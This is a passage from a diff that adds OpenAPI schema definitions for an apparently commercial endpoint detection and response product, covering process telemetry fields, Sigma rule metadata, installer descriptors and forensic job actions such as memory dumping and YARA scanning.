+        type: array
+      messages:
+        items:
+          minLength: 1
+          type: string
+        readOnly: true
+        type: array
+      params:
+        additionalProperties:
+          minLength: 1
+          type: string
+        readOnly: true
+        title: Params
+        type: object
+    type: object
+  InnerProcess:
+    properties:
+      agent:
+        $ref: '#/definitions/IndexedInnerAgent'
+      ancestors:
+        minLength: 1
+        title: Ancestors
+        type: string
+      cdhash:
+        minLength: 1
+        title: Cdhash
+        type: string
+      characteristics:
+        items:
+          $ref: '#/definitions/Characteristics'
+        type: array
+      codesigning_flags:
+        title: Codesigning flags
+        type: integer
+      codesigning_flags_str:
+        minLength: 1
+        title: Codesigning flags str
+        type: string
+      commandline:
+        minLength: 1
+        title: Commandline
+        type: string
+      create_time:
+        format: date-time
+        title: Create time
+        type: string
+      current_directory:
+        minLength: 1
+        title: Current directory
+        type: string
+      egid:
+        title: Egid
+        type: integer
+      egroup:
+        minLength: 1
+        title: Egroup
+        type: string
+      enabled:
+        title: Enabled
+        type: boolean
+      error_msg:
+        minLength: 1
+        title: Error msg
+        type: string
+      euid:
+        title: Euid
+        type: integer
+      eusername:
+        minLength: 1
+        title: Eusername
+        type: string
+      fake_parent_commandline:
+        minLength: 1
+        title: Fake parent commandline
+        type: string
+      fake_parent_image:
+        minLength: 1
+        title: Fake parent image
+        type: string
+      fake_parent_unique_id:
+        minLength: 1
+        title: Fake parent unique id
+        type: string
+      fake_ppid:
+        title: Fake ppid
+        type: integer
+      gid:
+        title: Gid
+        type: integer
+      grandparent_commandline:
+        minLength: 1
+        title: Grandparent commandline
+        type: string
+      grandparent_image:
+        minLength: 1
+        title: Grandparent image
+        type: string
+      grandparent_integrity_level:
+        minLength: 1
+        title: Grandparent integrity level
+        type: string
+      grandparent_unique_id:
+        minLength: 1
+        title: Grandparent unique id
+        type: string
+      group:
+        minLength: 1
+        title: Group
+        type: string
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      hashes:
+        $ref: '#/definitions/Hashes'
+      hlai_alert_level:
+        minLength: 1
+        title: Hlai alert level
+        type: string
+      hlai_version:
+        minLength: 1
+        title: Hlai version
+        type: string
+      image_name:
+        minLength: 1
+        title: Image name
+        type: string
+      integrity_level:
+        minLength: 1
+        title: Integrity level
+        type: string
+      ioc_type:
+        minLength: 1
+        title: Ioc type
+        type: string
+      ioc_uuid:
+        minLength: 1
+        title: Ioc uuid
+        type: string
+      ioc_value:
+        minLength: 1
+        title: Ioc value
+        type: string
+      is_platform_binary:
+        title: Is platform binary
+        type: boolean
+      kube_details:
+        $ref: '#/definitions/KubeProcessInfo'
+      level:
+        minLength: 1
+        title: Level
+        type: string
+      lnk_info:
+        $ref: '#/definitions/LnkInfo'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      logonid:
+        title: Logonid
+        type: integer
+      matched_rules:
+        $ref: '#/definitions/MatchedYaraRule'
+      matched_rules_count:
+        title: Matched rules count
+        type: integer
+      memfd_name:
+        minLength: 1
+        title: Memfd name
+        type: string
+      parent_commandline:
+        minLength: 1
+        title: Parent commandline
+        type: string
+      parent_image:
+        minLength: 1
+        title: Parent image
+        type: string
+      parent_integrity_level:
+        minLength: 1
+        title: Parent integrity level
+        type: string
+      parent_unique_id:
+        minLength: 1
+        title: Parent unique id
+        type: string
+      pe_imphash:
+        minLength: 1
+        title: Pe imphash
+        type: string
+      pe_info:
+        $ref: '#/definitions/IndexedPEInfo'
+      pe_timestamp:
+        format: date-time
+        title: Pe timestamp
+        type: string
+      pe_timestamp_int:
+        title: Pe timestamp int
+        type: integer
+      pid:
+        title: Pid
+        type: integer
+      ppid:
+        title: Ppid
+        type: integer
+      process_name:
+        minLength: 1
+        title: Process name
+        type: string
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+      rule_revision:
+        title: Rule revision
+        type: integer
+      score:
+        title: Score
+        type: number
+      session:
+        title: Session
+        type: integer
+      sgid:
+        title: Sgid
+        type: integer
+      sgroup:
+        minLength: 1
+        title: Sgroup
+        type: string
+      sigma_rule_content:
+        minLength: 1
+        title: Sigma rule content
+        type: string
+      signature_info:
+        $ref: '#/definitions/SignatureInfo'
+      signed:
+        title: Signed
+        type: boolean
+      size:
+        title: Size
+        type: integer
+      stacktrace:
+        minLength: 1
+        title: Stacktrace
+        type: string
+      stacktrace_minimal:
+        minLength: 1
+        title: Stacktrace minimal
+        type: string
+      status:
+        title: Status
+        type: integer
+      status_msg:
+        minLength: 1
+        title: Status msg
+        type: string
+      suid:
+        title: Suid
+        type: integer
+      susername:
+        minLength: 1
+        title: Susername
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      uid:
+        title: Uid
+        type: integer
+      username:
+        minLength: 1
+        title: Username
+        type: string
+      usersid:
+        minLength: 1
+        title: Usersid
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - agent
+      - ancestors
+      - cdhash
+      - characteristics
+      - codesigning_flags
+      - codesigning_flags_str
+      - commandline
+      - create_time
+      - current_directory
+      - egid
+      - egroup
+      - enabled
+      - error_msg
+      - euid
+      - eusername
+      - fake_parent_commandline
+      - fake_parent_image
+      - fake_parent_unique_id
+      - fake_ppid
+      - gid
+      - grandparent_commandline
+      - grandparent_image
+      - grandparent_integrity_level
+      - grandparent_unique_id
+      - group
+      - groups
+      - hashes
+      - hlai_alert_level
+      - hlai_version
+      - image_name
+      - integrity_level
+      - ioc_type
+      - ioc_uuid
+      - ioc_value
+      - is_platform_binary
+      - kube_details
+      - level
+      - lnk_info
+      - log_type
+      - logonid
+      - matched_rules
+      - matched_rules_count
+      - memfd_name
+      - parent_commandline
+      - parent_image
+      - parent_integrity_level
+      - parent_unique_id
+      - pe_imphash
+      - pe_info
+      - pe_timestamp
+      - pe_timestamp_int
+      - pid
+      - ppid
+      - process_name
+      - process_unique_id
+      - rule_revision
+      - score
+      - session
+      - sgid
+      - sgroup
+      - sigma_rule_content
+      - signature_info
+      - signed
+      - size
+      - stacktrace
+      - stacktrace_minimal
+      - status
+      - status_msg
+      - suid
+      - susername
+      - tenant
+      - uid
+      - username
+      - usersid
+      - version
+    type: object
+  InnerRequest:
+    properties:
+      creation_date:
+        format: date-time
+        readOnly: true
+        title: Creation date
+        type: string
+      feedback:
+        $ref: '#/definitions/InnerFeedback'
+      id:
+        format: uuid
+        title: Id
+        type: string
+      last_update:
+        format: date-time
+        readOnly: true
+        title: Last update
+        type: string
+      message:
+        title: Message
+        type: string
+      response:
+        title: Response
+        type: string
+        x-nullable: true
+      response_finished:
+        title: Response finished
+        type: boolean
+    required:
+      - id
+    type: object
+  InnerRuleCounts:
+    description: Return the total count for each inner rule type.
+    properties:
+      correlation:
+        title: Correlation
+        type: integer
+      sigma:
+        title: Sigma
+        type: integer
+    required:
+      - correlation
+      - sigma
+    type: object
+  InnerSigmaRule:
+    properties:
+      can_block:
+        title: Can block
+        type: boolean
+      creation_date:
+        format: date
+        title: Creation date
+        type: string
+        x-nullable: true
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      hl_silent:
+        title: Hl silent
+        type: boolean
+      hl_status:
+        enum:
+          - experimental
+          - stable
+          - testing
+        title: Hl status
+        type: string
+        x-nullable: true
+      id:
+        format: uuid
+        title: Id
+        type: string
+      level:
+        enum:
+          - critical
+          - high
+          - informational
+          - low
+          - medium
+        title: Level
+        type: string
+        x-nullable: true
+      modified_date:
+        format: date
+        title: Modified date
+        type: string
+        x-nullable: true
+      name:
+        maxLength: 100
+        minLength: 1
+        title: Name
+        type: string
+      origin_stack:
+        $ref: '#/definitions/OriginStack'
+      origin_stack_id:
+        maxLength: 64
+        minLength: 1
+        title: Origin stack id
+        type: string
+        x-nullable: true
+      os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        title: Os
+        type: string
+      raw_tags:
+        items:
+          maxLength: 256
+          minLength: 1
+          title: Raw tags
+          type: string
+        type: array
+      rule_confidence:
+        enum:
+          - moderate
+          - strong
+          - weak
+        title: Rule confidence
+        type: string
+        x-nullable: true
+      status:
+        title: Status
+        type: string
+        x-nullable: true
+      tenant:
+        minLength: 1
+        readOnly: true
+        title: Tenant
+        type: string
+    required:
+      - id
+      - name
+    type: object
+  InnerUSBInterface:
+    properties:
+      alternate_setting:
+        minLength: 1
+        title: Alternate setting
+        type: string
+      interface_class:
+        minLength: 1
+        title: Interface class
+        type: string
+      interface_description:
+        minLength: 1
+        title: Interface description
+        type: string
+      interface_number:
+        minLength: 1
+        title: Interface number
+        type: string
+      interface_protocol:
+        minLength: 1
+        title: Interface protocol
+        type: string
+      interface_subclass:
+        minLength: 1
+        title: Interface subclass
+        type: string
+    required:
+      - alternate_setting
+      - interface_class
+      - interface_description
+      - interface_number
+      - interface_protocol
+      - interface_subclass
+    type: object
+  InnerUserEvent:
+    properties:
+      '@event_create_date':
+        format: date-time
+        title: '@event create date'
+        type: string
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/InnerAgent'
+      groups:
+        $ref: '#/definitions/InnerGroup'
+      log_type:
+        minLength: 1
+        title: Log type
+        type: string
+      new_user_name:
+        minLength: 1
+        title: New user name
+        type: string
+      operation_type:
+        minLength: 1
+        title: Operation type
+        type: string
+      source_domain_name:
+        minLength: 1
+        title: Source domain name
+        type: string
+      source_user_id:
+        minLength: 1
+        title: Source user id
+        type: string
+      source_user_name:
+        minLength: 1
+        title: Source user name
+        type: string
+      target_domain_name:
+        minLength: 1
+        title: Target domain name
+        type: string
+      target_user_id:
+        minLength: 1
+        title: Target user id
+        type: string
+      target_user_name:
+        minLength: 1
+        title: Target user name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      windows:
+        $ref: '#/definitions/UserEventWindows'
+    required:
+      - '@event_create_date'
+      - '@timestamp'
+      - agent
+      - groups
+      - log_type
+      - new_user_name
+      - operation_type
+      - source_domain_name
+      - source_user_id
+      - source_user_name
+      - target_domain_name
+      - target_user_id
+      - target_user_name
+      - tenant
+      - windows
+    type: object
+  Installation:
+    properties:
+      agent:
+        $ref: '#/definitions/Agent'
+      application:
+        $ref: '#/definitions/AppStatistics'
+      first_seen:
+        format: date-time
+        readOnly: true
+        title: First seen
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      installation_date:
+        format: date-time
+        readOnly: true
+        title: Installation date
+        type: string
+        x-nullable: true
+      installed_as_dependency:
+        readOnly: true
+        title: Installed as dependency
+        type: boolean
+        x-nullable: true
+      installed_for:
+        minLength: 1
+        readOnly: true
+        title: Installed for
+        type: string
+        x-nullable: true
+      last_seen:
+        format: date-time
+        readOnly: true
+        title: Last seen
+        type: string
+      source_package_name:
+        minLength: 1
+        readOnly: true
+        title: Source package name
+        type: string
+        x-nullable: true
+      source_package_version:
+        minLength: 1
+        readOnly: true
+        title: Source package version
+        type: string
+        x-nullable: true
+      status:
+        enum:
+          - installed
+          - uninstalled
+          - updated
+        readOnly: true
+        title: Status
+        type: string
+      version:
+        minLength: 1
+        readOnly: true
+        title: Version
+        type: string
+        x-nullable: true
+      version_array:
+        items:
+          maximum: 2147483647
+          minimum: -2147483648
+          title: Version array
+          type: integer
+        readOnly: true
+        type: array
+        x-nullable: true
+    required:
+      - agent
+      - application
+    type: object
+  InstallationVersionGraphCounts:
+    properties:
+      count:
+        title: Count
+        type: integer
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - count
+      - version
+    type: object
+  InstallationVersionGraphResponse:
+    properties:
+      counts:
+        items:
+          $ref: '#/definitions/InstallationVersionGraphCounts'
+        type: array
+      date:
+        format: date
+        title: Date
+        type: string
+    required:
+      - counts
+      - date
+    type: object
+  Installer:
+    properties:
+      host:
+        minLength: 1
+        title: Host
+        type: string
+      installers:
+        items:
+          $ref: '#/definitions/InstallerInfo'
+        type: array
+      key:
+        minLength: 1
+        title: Key
+        type: string
+      port:
+        title: Port
+        type: integer
+      preferred_password:
+        minLength: 6
+        title: Preferred password
+        type: string
+        x-nullable: true
+      proto:
+        enum:
+          - http
+          - https
+        title: Proto
+        type: string
+      rust_key:
+        minLength: 1
+        title: Rust key
+        type: string
+    required:
+      - host
+      - installers
+      - key
+      - port
+      - preferred_password
+      - proto
+      - rust_key
+    type: object
+  InstallerInfo:
+    properties:
+      arch:
+        enum:
+          - x86
+          - x86_64
+        title: Arch
+        type: string
+        x-nullable: true
+      channel:
+        enum:
+          - latest
+          - stable
+        title: Channel
+        type: string
+      distribution:
+        enum:
+          - debian_ubuntu
+          - generic
+          - nixOs
+          - redhat_centos
+        title: Distribution
+        type: string
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      filetype:
+        enum:
+          - deb
+          - elf
+          - msi
+          - pkg
+          - rpm
+        title: Filetype
+        type: string
+      interactive_command:
+        minLength: 1
+        title: Interactive command
+        type: string
+        x-nullable: true
+      non_interactive_command:
+        minLength: 1
+        title: Non interactive command
+        type: string
+      os:
+        enum:
+          - linux
+          - macos
+          - unknown
+          - windows
+        title: Os
+        type: string
+      platform:
+        minLength: 1
+        title: Platform
+        type: string
+      tutorial:
+        $ref: '#/definitions/Turorial'
+      version:
+        minLength: 1
+        title: Version
+        type: string
+      version_channel:
+        minLength: 1
+        title: Version channel
+        type: string
+    required:
+      - arch
+      - channel
+      - distribution
+      - filename
+      - filetype
+      - interactive_command
+      - non_interactive_command
+      - os
+      - platform
+      - tutorial
+      - version
+      - version_channel
+    type: object
+  Interface:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      ips:
+        minLength: 1
+        title: Ips
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      mac_address:
+        minLength: 1
+        title: Mac address
+        type: string
+      name:
+        minLength: 1
+        title: Name
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - description
+      - id
+      - ips
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - mac_address
+      - name
+      - tenant
+    type: object
+  InvestigationCase:
+    properties:
+      agent_ids:
+        minLength: 1
+        title: Agent ids
+        type: string
+      assignee_id:
+        title: Assignee id
+        type: integer
+      author_id:
+        title: Author id
+        type: integer
+      author_username:
+        minLength: 1
+        title: Author username
+        type: string
+      created_at:
+        format: date-time
+        title: Created at
+        type: string
+      description:
+        minLength: 1
+        title: Description
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      last_modifier_id:
+        title: Last modifier id
+        type: integer
+      last_update:
+        format: date-time
+        title: Last update
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      timeline_ids:
+        minLength: 1
+        title: Timeline ids
+        type: string
+      title:
+        minLength: 1
+        title: Title
+        type: string
+    required:
+      - agent_ids
+      - assignee_id
+      - author_id
+      - author_username
+      - created_at
+      - description
+      - id
+      - last_modifier_id
+      - last_update
+      - status
+      - timeline_ids
+      - title
+    type: object
+  Irma:
+    properties:
+      positives:
+        title: Positives
+        type: integer
+      report_found:
+        title: Report found
+        type: boolean
+      request_date:
+        format: date-time
+        title: Request date
+        type: string
+      scan_date:
+        format: date-time
+        title: Scan date
+        type: string
+      scans:
+        items:
+          $ref: '#/definitions/IrmaScan'
+        type: array
+      score:
+        description: Percentage of detection (positive/total) * 100
+        title: Score
+        type: integer
+      total:
+        title: Total
+        type: integer
+    required:
+      - positives
+      - report_found
+      - request_date
+      - scan_date
+      - scans
+      - score
+      - total
+    type: object
+  IrmaScan:
+    properties:
+      av_name:
+        minLength: 1
+        title: Av name
+        type: string
+      av_version:
+        minLength: 1
+        title: Av version
+        type: string
+      db_version:
+        minLength: 1
+        title: Db version
+        type: string
+      detected:
+        title: Detected
+        type: boolean
+      result:
+        minLength: 1
+        title: Result
+        type: string
+    required:
+      - av_name
+      - av_version
+      - db_version
+      - detected
+      - result
+    type: object
+  Job:
+    properties:
+      action:
+        readOnly: true
+        title: Action
+        type: string
+      canceled:
+        title: Canceled
+        type: integer
+      creationtime:
+        format: date-time
+        readOnly: true
+        title: Creationtime
+        type: string
+      creator:
+        $ref: '#/definitions/HlSimpleUserSerializer'
+      description:
+        title: Description
+        type: string
+        x-nullable: true
+      done:
+        title: Done
+        type: integer
+      endpoint_username:
+        minLength: 1
+        readOnly: true
+        title: Endpoint username
+        type: string
+        x-nullable: true
+      error:
+        title: Error
+        type: integer
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      injecting:
+        title: Injecting
+        type: integer
+      instance:
+        title: Instance
+        type: integer
+      is_scheduled:
+        readOnly: true
+        title: Is scheduled
+        type: boolean
+      parameters:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Parameters
+        type: object
+      running:
+        title: Running
+        type: integer
+      source_id:
+        minLength: 1
+        readOnly: true
+        title: Source id
+        type: string
+        x-nullable: true
+      source_type:
+        enum:
+          - agent
+          - alert
+          - batch_duplicated
+          - endpoint_agent
+          - endpoint_user
+          - group
+          - investigation
+          - remote_shell
+          - security_event
+          - threat
+        readOnly: true
+        title: Source type
+        type: string
+        x-nullable: true
+      title:
+        title: Title
+        type: string
+        x-nullable: true
+      waiting:
+        title: Waiting
+        type: integer
+    required:
+      - canceled
+      - creator
+      - done
+      - error
+      - injecting
+      - instance
+      - running
+      - waiting
+    type: object
+  JobCreation:
+    properties:
+      actions:
+        items:
+          $ref: '#/definitions/Action'
+        type: array
+      description:
+        title: Description
+        type: string
+      targets:
+        $ref: '#/definitions/Target'
+      title:
+        title: Title
+        type: string
+    required:
+      - actions
+      - description
+      - targets
+      - title
+    type: object
+  JobInstance:
+    properties:
+      action:
+        enum:
+          - IOCScan
+          - agentDiagnostic
+          - agentMinidump
+          - avScan
+          - collectRAWEvidences
+          - deleteScheduledTask
+          - deleteService
+          - downloadDirectory
+          - downloadFile
+          - filepathDeleter
+          - getHives
+          - getLoadedDriverList
+          - getNetworkShare
+          - getPipeList
+          - getPrefetch
+          - getProcessList
+          - getQFE
+          - getRawWMI
+          - getScheduledTasks
+          - getSessions
+          - getStartupFileList
+          - getWMI
+          - knownProcessFinderKiller
+          - listDirectory
+          - memoryDumper
+          - networkDiscovery
+          - networkSniffer
+          - parseFilesystem
+          - persistanceScanner
+          - processDumper
+          - profileMemory
+          - quarantineAcquireFile
+          - quarantineAdd
+          - quarantineDelete
+          - quarantineRestore
+          - registryOperation
+          - searchProcessDumper
+          - wildcardProcessFinderKiller
+          - yaraScan
+        title: Action
+        type: string
+      agent_id:
+        readOnly: true
+        title: Agent id
+        type: string
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      creator:
+        minLength: 1
+        readOnly: true
+        title: Creator
+        type: string
+      description:
+        minLength: 1
+        readOnly: true
+        title: Description
+        type: string
+      duration:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Duration
+        type: integer
+        x-nullable: true
+      endtime:
+        format: date-time
+        title: Endtime
+        type: string
+        x-nullable: true
+      group_id:
+        readOnly: true
+        title: Group id
+        type: string
+      hostname:
+        title: Hostname
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      job_id:
+        readOnly: true
+        title: Job id
+        type: string
+      parameters:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        title: Parameters
+        type: object
+      references:
+        items:
+          $ref: '#/definitions/JobInstanceReference'
+        readOnly: true
+        type: array
+      relaunched:
+        title: Relaunched
+        type: boolean
+      remote_shell_command_id:
+        readOnly: true
+        title: Remote shell command id
+        type: string
+      starttime:
+        format: date-time
+        title: Starttime
+        type: string
+        x-nullable: true
+      state:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+        title: State
+        type: integer
+      task_id:
+        maximum: 2147483647
+        minimum: -2147483648
+        title: Task id
+        type: integer
+      title:
+        minLength: 1
+        readOnly: true
+        title: Title
+        type: string
+    required:
+      - action
+      - parameters
+    type: object
+  JobInstanceReference:
+    properties:
+      reference_type:
+        enum:
+          - analysis
+          - binary
+        readOnly: true
+        title: Reference type
+        type: string
+      reference_value:
+        minLength: 1
+        readOnly: true
+        title: Reference value
+        type: string
+    type: object
+  JobLight:
+    properties:
+      action:
+        readOnly: true
+        title: Action
+        type: string
+      creationtime:
+        format: date-time
+        title: Creationtime
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      parameters:
+        additionalProperties:
+          type: string
+          x-nullable: true
+        readOnly: true
+        title: Parameters
+        type: object
+    type: object
+  JobOSSupport:
+    properties:
+      action:
+        enum:
+          - IOCScan
+          - agentDiagnostic
+          - agentMinidump
+          - avScan
+          - collectRAWEvidences
+          - deleteScheduledTask
+          - deleteService
+          - downloadDirectory
+          - downloadFile
+          - filepathDeleter
+          - getHives
+          - getLoadedDriverList
+          - getNetworkShare
+          - getPipeList
+          - getPrefetch
+          - getProcessList
+          - getQFE
+          - getRawWMI
+          - getScheduledTasks
+          - getSessions
+          - getStartupFileList
+          - getWMI
+          - knownProcessFinderKiller
+          - listDirectory
+          - memoryDumper
+          - networkDiscovery
+          - networkSniffer
+          - parseFilesystem
+          - persistanceScanner
+          - processDumper
+          - profileMemory
+          - quarantineAcquireFile
+          - quarantineAdd
+          - quarantineDelete
+          - quarantineRestore
+          - registryOperation
+          - searchProcessDumper
+          - wildcardProcessFinderKiller
+          - yaraScan
+        title: Action
+        type: string
+      supported_os:
+        items:
+          enum:
+            - linux
+            - macos
+            - windows
+          type: string
+        type: array
+    required:
+      - action
+      - supported_os
+    type: object
+  KPI:
+    properties:
+      compatible:
+        $ref: '#/definitions/OSTypeCount'
+      incompatible:
+        $ref: '#/definitions/OSTypeCount'
+      installed:
+        $ref: '#/definitions/OSTypeCount'
+      seen:
+        readOnly: true
+        title: Seen
+        type: integer
+      to_check:
+        readOnly: true
+        title: To check
+        type: integer
+      total:
+        readOnly: true
+        title: Total
+        type: integer
+    type: object
+  KernelCallback:
+    properties:
+      create_process:
+        $ref: '#/definitions/Callback'
+      create_thread:
+        $ref: '#/definitions/Callback'
+      eventtime_datetime:
+        format: date-time
+        title: Eventtime datetime
+        type: string
+      load_image:
+        $ref: '#/definitions/Callback'
+    required:
+      - create_process
+      - create_thread
+      - eventtime_datetime
+      - load_image
+    type: object
+  KernelModule:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      memory_size:
+        minLength: 1
+        title: Memory size
+        type: string
+      module_name:
+        minLength: 1
+        title: Module name
+        type: string
+      n_instance:
+        minLength: 1
+        title: N instance
+        type: string
+      offset:
+        minLength: 1
+        title: Offset
+        type: string
+      requirements:
+        minLength: 1
+        title: Requirements
+        type: string
+      status:
+        minLength: 1
+        title: Status
+        type: string
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - memory_size
+      - module_name
+      - n_instance
+      - offset
+      - requirements
+      - status
+      - tenant
+    type: object
+  KeyValueDoc:
+    properties:
+      key:
+        minLength: 1
+        title: Key
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - key
+      - value
+    type: object
+  KnownDLL:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_name:
+        minLength: 1
+        title: Item name
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      item_value:
+        minLength: 1
+        title: Item value
+        type: string
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      timestamp:
+        format: date-time
+        title: Timestamp
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - controlset
+      - id
+      - item_name
+      - item_status
+      - item_value
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - timestamp
+    type: object
+  KnownProcessFinderKiller:
+    properties:
+      process_unique_id:
+        minLength: 1
+        title: Process unique id
+        type: string
+    required:
+      - process_unique_id
+    type: object
+  KubeProcessInfo:
+    properties:
+      pod_name:
+        minLength: 1
+        title: Pod name
+        type: string
+      pod_unique_id:
+        minLength: 1
+        title: Pod unique id
+        type: string
+    required:
+      - pod_name
+      - pod_unique_id
+    type: object
+  LLMPermissions:
+    properties:
+      chat_send_messages:
+        title: Chat send messages
+        type: boolean
+      chat_view_messages:
+        title: Chat view messages
+        type: boolean
+    required:
+      - chat_send_messages
+      - chat_view_messages
+    type: object
+  LSAPackage:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      binaryinfo:
+        $ref: '#/definitions/BinaryInfoWithPath'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      tenant:
+        minLength: 1
+        title: Tenant
+        type: string
+      type:
+        minLength: 1
+        title: Type
+        type: string
+      value:
+        minLength: 1
+        title: Value
+        type: string
+    required:
+      - '@timestamp'
+      - agent
+      - binaryinfo
+      - controlset
+      - id
+      - item_status
+      - job_id
+      - job_instance_action
+      - job_instance_id
+      - job_instance_task_id
+      - tenant
+      - type
+      - value
+    type: object
+  LastScan:
+    properties:
+      creationtime:
+        format: date-time
+        readOnly: true
+        title: Creationtime
+        type: string
+      endtime:
+        format: date-time
+        readOnly: true
+        title: Endtime
+        type: string
+        x-nullable: true
+      id:
+        minLength: 1
+        readOnly: true
+        title: Id
+        type: string
+      job_id:
+        readOnly: true
+        title: Job id
+        type: string
+      starttime:
+        format: date-time
+        readOnly: true
+        title: Starttime
+        type: string
+        x-nullable: true
+      state:
+        enum:
+          - 0
+          - 1
+          - 2
+          - 3
+          - 4
+          - 5
+          - 6
+          - 7
+          - 8
+        readOnly: true
+        title: State
+        type: integer
+      updatetime:
+        format: date-time
+        readOnly: true
+        title: Updatetime
+        type: string
+    type: object
+  LatestFIMReport:
+    properties:
+      highest_criticality:
+        enum:
+          - critical
+          - high
+          - low
+          - medium
+        readOnly: true
+        title: Highest criticality
+        type: string
+      id:
+        format: uuid
+        readOnly: true
+        title: Id
+        type: string
+      report_date:
+        format: date-time
+        readOnly: true
+        title: Report date
+        type: string
+        x-nullable: true
+    type: object
+  LegacyInstaller:
+    properties:
+      beta:
+        default: false
+        title: Beta
+        type: boolean
+      fileDownloaded:
+        minLength: 1
+        title: Filedownloaded
+        type: string
+      filename:
+        minLength: 1
+        title: Filename
+        type: string
+      system:
+        enum:
+          - custom_linux64
+          - deb64
+          - macos-pkg
+          - rpm64
+          - win32
+          - win64
+        title: System
+        type: string
+      version:
+        minLength: 1
+        title: Version
+        type: string
+    required:
+      - fileDownloaded
+      - filename
+      - system
+      - version
+    type: object
+  LegacyInstallerInfo:
+    properties:
+      host:
+        minLength: 1
+        title: Host
+        type: string
+      installers:
+        items:
+          $ref: '#/definitions/LegacyInstaller'
+        type: array
+      key:
+        minLength: 1
+        title: Key
+        type: string
+      port:
+        title: Port
+        type: integer
+      preferred_password:
+        minLength: 6
+        title: Preferred password
+        type: string
+        x-nullable: true
+      proto:
+        enum:
+          - http
+          - https
+        title: Proto
+        type: string
+      rust_key:
+        minLength: 1
+        title: Rust key
+        type: string
+    required:
+      - host
+      - installers
+      - key
+      - port
+      - preferred_password
+      - proto
+      - rust_key
+    type: object
+  LegacyService:
+    properties:
+      '@timestamp':
+        format: date-time
+        title: '@timestamp'
+        type: string
+      agent:
+        $ref: '#/definitions/DataAgent'
+      controlset:
+        minLength: 1
+        title: Controlset
+        type: string
+      first_launch:
+        format: date-time
+        title: First launch
+        type: string
+      id:
+        minLength: 1
+        title: Id
+        type: string
+      item_status:
+        title: Item status
+        type: integer
+      job_id:
+        minLength: 1
+        title: Job id
+        type: string
+      job_instance_action:
+        minLength: 1
+        title: Job instance action
+        type: string
+      job_instance_id:
+        minLength: 1
+        title: Job instance id
+        type: string
+      job_instance_task_id:
+        title: Job instance task id
+        type: integer
+      last_launch:
+        format: date-time
+        title: Last launch
+        type: string
+      legacy_name:
+        minLength: 1
+        title: Legacy name
+        type: string
+      present:
+        title: Present
+        type: boolean
+      service_name:
+        minLength: 1
+        title: Service name
+        type: string
+      tenant:
+        minLength: 1
